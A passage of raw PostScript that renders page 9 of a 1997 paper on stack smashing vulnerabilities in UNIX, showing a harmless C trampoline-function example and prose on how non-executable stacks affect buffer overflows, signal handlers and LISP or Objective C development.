3367 M 7519 3263 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3279 M ( int i, j;) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 3262 M 1181 3158 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 3262 M 7519 3158 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3174 M ( int f2 \(int a, int b\)) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 3157 M 1181 3053 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 3157 M 7519 3053 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3069 M ( {) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 3052 M 1181 2948 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 3052 M 7519 2948 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2964 M ( printf \("Inside f2, a = %d, b = %d\\n", a, b\);) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 2947 M 1181 2843 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 2947 M 7519 2843 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2859 M ( fflush \(stdout\);) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 2842 M 1181 2738 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 2842 M 7519 2738 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2754 M ( return a > b;) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 2737 M 1181 2633 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 2737 M 7519 2633 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2649 M ( }) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 2632 M 1181 2473 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 2632 M 7519 2473 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 2472 M 1181 2368 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 2472 M 7519 2368 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2384 M ( int f3 \(int a, int b\)) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 2367 M 1181 2263 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 2367 M 7519 2263 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2279 M ( {) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 2262 M 1181 2158 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 2262 M 7519 2158 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2174 M ( printf \("Inside f3, i = %d, j = %d\\n", i, j\);) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 2157 M 1181 2053 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 2157 M 7519 2053 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2069 M ( fflush \(stdout\);) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 2052 M 1181 1948 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 2052 M 7519 1948 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 1964 M ( return i > j;) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 1947 M 1181 1843 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 1947 M 7519 1843 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 1859 M ( }) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 1842 M 1181 1683 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 1842 M 7519 1683 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 1682 M 1181 1578 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 1682 M 7519 1578 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 1594 M ( if \(g \(1, 2, f2\) != 2\) {) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 1577 M 1181 1473 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 1577 M 7519 1473 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 1489 M ( printf \("Trampoline call returned the wrong value\\n"\);) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 1472 M 1181 1368 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 1472 M 7519 1368 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 1384 M ( fflush \(stdout\);) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 1367 M 1181 1263 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 1367 M 7519 1263 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 1279 M ( abort \(\);) ST GR %%PageTrailer AXPageSave restore showpage %%Page: 28 28 %%BeginPageSetup save /AXPageSave exch def DOSETUP %%EndPageSetup 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont1p100000 SETFONT GS n 1200 10624 M (Stack Smashing Vulnerabilities in the UNIX Operating System) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6811 10624 M (Page 9) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 3998 284 M (May 7, 1997) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 10000 M 1181 9896 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 10000 M 7519 9896 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p80000 SETFONT GS n 1200 9912 M ( }) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 9895 M 1181 9736 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 9895 M 7519 9736 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 9735 M 1181 9631 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 9735 M 7519 9631 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9647 M ( i = 4;) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 9630 M 1181 9526 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 9630 M 7519 9526 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9542 M ( j = 3;) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 9525 M 1181 9421 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 9525 M 7519 9421 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9437 M ( if \(g \(5, 6, f3\) != 5\) {) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 9420 M 1181 9316 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 9420 M 7519 9316 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9332 M ( printf \("Trampoline call returned the wrong value\\n"\);) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 9315 M 1181 9211 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 9315 M 7519 9211 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9227 M ( fflush \(stdout\);) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 9210 M 1181 9106 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 9210 M 7519 9106 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9122 M ( abort \(\);) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 9105 M 1181 9001 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 9105 M 7519 9001 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9017 M ( }) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 9000 M 1181 8896 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 9000 M 7519 8896 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8912 M ( }) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 8895 M 1181 8736 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 8895 M 7519 8736 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 8735 M 1181 8631 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 8735 M 7519 8631 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8647 M ( int) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 8630 M 1181 8526 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 8630 M 7519 8526 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8542 M ( main \(void\)) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 8525 M 1181 8421 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 8525 M 7519 8421 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8437 M ( {) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 8420 M 1181 8316 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 8420 M 7519 8316 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8332 M ( printf \("Before trampoline call\\n"\);) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 8315 M 1181 8211 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 8315 M 7519 8211 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8227 M ( fflush \(stdout\);) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 8210 M 1181 8106 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 8210 M 7519 8106 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8122 M ( f \(\);) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 8105 M 1181 8001 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 8105 M 7519 8001 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8017 M ( printf \("Trampoline call succeeded\\n"\);) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 8000 M 1181 7896 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 8000 M 7519 7896 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7912 M ( fflush \(stdout\);) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 7895 M 1181 7791 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 7895 M 7519 7791 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7807 M ( return 0;) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 7790 M 1181 7686 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 7790 M 7519 7686 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7702 M ( }) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 7685 M 1181 7512 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 7685 M 7519 7512 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 1176 7506 M 7523 7506 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 3134 7375 M (Example 11.3.a - Trampoline Function in C) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1700 6946 M (Trampoline ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2539 6946 M (functions ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3214 6946 M (execute ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3778 6946 M (function ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4388 6946 M (code ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4758 6946 M (for ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5009 6946 M (that ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5314 6946 M (function ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5924 6946 M (after ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6286 6946 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6416 6946 M (return\(\) ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6982 6946 M (call ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7278 6946 M (has ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6670 M (been ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1571 6670 M (given. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2071 6670 M (Most ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2460 6670 M (buffer ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2915 6670 M (overflow ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3563 6670 M (exploit ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4071 6670 M (code ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4432 6670 M (depends ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5024 6670 M (on ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5237 6670 M (this ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5524 6670 M (') ST -4 0 MR (t) ST -4 0 MR (r) ST -4 0 MR (a) ST -5 0 MR (m) ST -5 0 MR (p) ST -5 0 MR (o) ST -5 0 MR (l) ST -5 0 MR (i) ST -5 0 MR (n) ST -5 0 MR (e) ST -5 0 MR (' ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6352 6670 M (function ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6953 6670 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7139 6670 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7389 6670 M (C ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6394 M (programming ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2211 6394 M (language, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2947 6394 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3170 6394 M (exploiting ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3937 6394 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4234 6394 M (return ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4726 6394 M (value ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5180 6394 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5413 6394 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5581 6394 M (function. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6313 6394 M (High ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6739 6394 M (level ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7156 6394 M (LISP ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6118 M (interpreters and objective C compilers also make extensive use of trampoline fun\ ctions.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 5842 M (Furthermore, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2693 5842 M (signal ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3201 5842 M (handler ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3811 5842 M (returns ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4385 5842 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4625 5842 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4939 5842 M (Linux ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5447 5842 M (operating ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6186 5842 M (system ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6760 5842 M (require ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7343 5842 M (an ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5566 M (executable ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1998 5566 M (stack. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2509 5566 M (Signal ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3019 5566 M (handlers ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3668 5566 M (are ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3957 5566 M (absolutely ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4725 5566 M (crucial ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5263 5566 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5477 5566 M (an ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5719 5566 M (operating ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6432 5566 M (system, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7022 5566 M (thus, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7426 5566 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5290 M (temporary ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1938 5290 M (executable ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2696 5290 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3085 5290 M (for ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3327 5290 M (signal ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3771 5290 M (handlers ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4382 5290 M (must ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4753 5290 M (be ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4957 5290 M (implemented. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5957 5290 M (Thus, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6379 5290 M (buffer ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6834 5290 M (overflows ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5014 M (in signal handlers would still be possible using this temporarily executable sta\ ck.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 4738 M (By ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1958 4738 M (changing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2620 4738 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2876 4738 M (kernel ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3345 4738 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3740 4738 M (execution ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4439 4738 M (permissions, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5330 4738 M (it ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5475 4738 M (would ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5943 4738 M (stop ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6273 4738 M (most ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6650 4738 M (SUID ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7092 4738 M (buffer ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4462 M (overflows, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1963 4462 M (excluding ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2672 4462 M (those ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3077 4462 M (involving ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3767 4462 M (signal ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4218 4462 M (handlers. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4920 4462 M (A ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5094 4462 M (system ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5611 4462 M (with ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5960 4462 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6088 4462 M (non-executable ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7158 4462 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4186 M (also ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1529 4186 M (hinders ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2069 4186 M (LISP ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2463 4186 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2753 4186 M (Objective ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3449 4186 M (C ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3610 4186 M (development ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4519 4186 M (efforts ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5005 4186 M (as ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5194 4186 M (well ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5530 4186 M (as ) ST GR 0.0000 0.0000 